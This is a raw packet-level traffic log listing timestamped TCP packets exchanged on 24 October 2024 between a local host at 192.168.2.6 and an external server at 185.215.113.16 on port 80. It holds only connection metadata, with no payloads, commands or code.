Oct 24, 2024 18:09:21.683335066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683404922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683440924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683458090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683471918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683486938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683506012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683506012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683506966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683548927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683811903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683866024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683896065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683913946 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683950901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.683980942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.683996916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.684025049 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.684026003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.684060097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.684396029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.684412003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.684454918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.684454918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.684500933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.684516907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.684531927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.684547901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.684551954 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.684551954 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.684572935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.684592962 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.684951067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.684983969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.684999943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.685012102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.685045958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.685045958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.685069084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.685086966 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.685101986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.685122967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.685154915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.706545115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.706602097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.706650019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.706653118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.706653118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.706686974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.706717014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.706718922 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.706741095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.706768990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.750024080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.750061035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.750093937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.750138998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.750138998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.750138998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800024986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800046921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800062895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800158024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800183058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800199032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800214052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800230026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800235987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800235987 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800246000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800263882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800276995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800276995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800277948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800309896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800309896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800333977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800817013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800839901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800856113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800870895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800882101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800888062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.800903082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800920963 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.800951958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801093102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801146030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801206112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801240921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801255941 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801285982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801358938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801374912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801389933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801404953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801412106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801420927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801433086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801439047 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801453114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801455975 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801471949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801472902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801496983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801496983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801517010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.801568031 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.801635981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.802133083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.802149057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.802190065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.802190065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.802285910 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.802303076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.802339077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.802371025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.823771954 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.823820114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.823858976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.824088097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.866638899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.866735935 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.866847038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.866847038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.867033958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.867069960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.867100000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.867105961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.867125988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.867168903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.917299032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917350054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917371035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917387009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917404890 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917435884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917469978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917504072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917593002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917627096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917660952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917695045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917730093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.917766094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.917767048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.917767048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.917767048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.917767048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.917767048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918154001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918205023 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918261051 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918312073 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918330908 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918346882 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918359041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918380976 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918414116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918417931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918437958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918452024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918476105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918489933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918503046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918524981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918535948 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918566942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918577909 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918612957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918744087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918778896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918797016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918816090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918821096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918852091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.918862104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.918906927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.919127941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.919285059 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.919404984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.919439077 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.919497013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.941097021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.941144943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.941184044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.941292048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.941292048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.941380024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.984131098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.984165907 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.984185934 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.984204054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.984395027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.984395027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.985078096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.985131025 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:21.985137939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:21.985187054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.033945084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.033997059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034032106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034080029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034113884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034147024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034181118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034182072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034183025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034183025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034214020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034249067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034261942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034261942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034421921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034455061 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034483910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034488916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034507990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034526110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034548044 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034569025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034660101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034693003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034713984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034728050 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034735918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034774065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034796953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034830093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.034851074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.034878016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.035074949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035108089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035157919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035164118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.035190105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035223961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035240889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.035257101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035271883 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.035294056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035340071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035348892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.035656929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.035733938 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035768032 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035789013 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.035801888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035813093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.035835981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035850048 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.035870075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.035900116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.035921097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.036108971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.036140919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.036175013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.036180019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.036180019 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.036237955 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.057802916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.057869911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.057873011 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.057905912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.057923079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.057991982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.057997942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.058043003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.101016045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.101032019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.101047039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.101125002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.101125002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.146811962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.146833897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.146852016 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.146995068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.146995068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.150819063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.150835037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.150860071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.150875092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.150892019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.150897026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.150897980 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.150908947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.150985956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.150985956 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.150986910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.150986910 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151200056 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151216984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151232958 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151261091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151261091 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151276112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151283979 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151293993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151319981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151338100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151338100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151359081 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151480913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151504040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151520967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151535988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151540995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151540995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151555061 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151562929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151572943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151582003 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151611090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151611090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151910067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151926041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151940107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.151966095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151966095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.151998997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152014017 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152029037 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152044058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152060986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152061939 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152076960 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152087927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152087927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152107000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152126074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:22.152534962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152556896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:22.152580976 CEST	80	49997	185.215.113.16	192.168.2.6
